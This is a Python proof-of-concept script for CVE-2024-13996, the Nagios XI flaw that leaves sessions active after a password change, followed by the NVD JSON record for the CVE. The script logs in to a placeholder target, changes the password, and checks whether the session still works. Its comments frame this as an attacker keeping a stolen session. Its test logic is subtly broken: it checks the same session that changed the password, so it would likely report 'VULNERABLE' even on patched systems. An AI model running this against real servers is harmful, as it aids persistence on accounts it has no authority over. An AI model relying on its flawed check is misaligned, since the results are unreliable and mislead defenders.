CVE-2024-13996

#!/usr/bin/env python3 """ CVE-2024-13996 PoC - Nagios XI Session Not Invalidated After Password Change This PoC demonstrates that active sessions remain valid after password change. """ import requests import sys from bs4 import BeautifulSoup TARGET = "http://target-nagios-xi.local" USERNAME = "admin" OLD_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def get_session_token(session, url): """Extract session token from response""" response = session.get(url) for cookie in session.cookies: if 'nagiosxi' in cookie.name.lower() or 'php' in cookie.name.lower(): return cookie.value return None def login(session, username, password): """Authenticate and get session""" login_url = f"{TARGET}/nagiosxi/login.php" data = { 'username': username, 'password': password, 'loginButton': 'Login' } response = session.post(login_url, data=data, allow_redirects=True) return response.status_code == 200 def change_password(session, new_password): """Change user password""" profile_url = f"{TARGET}/nagiosxi/account.php" data = { 'pwdchange': '1', 'old_password': OLD_PASSWORD, 'new_password': new_password, 'confirm_password': new_password } return session.post(profile_url, data=data) def verify_session(session, expected_working=True): """Verify if session is still valid after password change""" dashboard_url = f"{TARGET}/nagiosxi/index.php" response = session.get(dashboard_url) return 'nagios' in response.text.lower() and response.status_code == 200 def main(): session = requests.Session() # Step 1: Attacker obtains valid session token (e.g., via XSS or MITM) print("[*] Step 1: Obtaining initial session token...") if not login(session, USERNAME, OLD_PASSWORD): print("[-] Login failed") return attacker_token = get_session_token(session, TARGET) print(f"[+] Got session token: {attacker_token[:20]}...") # Step 2: Victim changes password (simulated) print("\n[*] Step 2: Victim changes password...") change_password(session, NEW_PASSWORD) print("[+] Password changed to new value") # Step 3: Verify attacker's session still works print("\n[*] Step 3: Verifying old session still valid...") if verify_session(session): print("[!] VULNERABLE: Old session still active after password change!") print("[!] Attacker can continue accessing the account") else: print("[-] Session properly invalidated (patched)") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2024-13996", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:45.043", "lastModified": "2025-11-06T16:17:23.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2024R1.1.3 did not invalidate all other active sessions for a user when that user's password was changed. As a result, any pre-existing sessions (including those potentially controlled by an attacker) remained valid after a credential update. This insufficient session expiration could allow continued unauthorized access to user data and actions even after a password change."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "CCAB888E-F030-4640-9A18-9E423E553308"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "C648B0A4-053C-4884-8A37-4AF03053ED1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.1:*:*:*:*:*:*", "matchCriteriaId": "893EEA99-0096-4C9F-BA8A-246A3E3F6C15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.1.2:*:*:*:*:*:*", "matchCriteriaId": "A1FDA3F3-DF79-4807-9451-F04B2DB9A2B6"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-session-not-invalidated-after-password-change", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}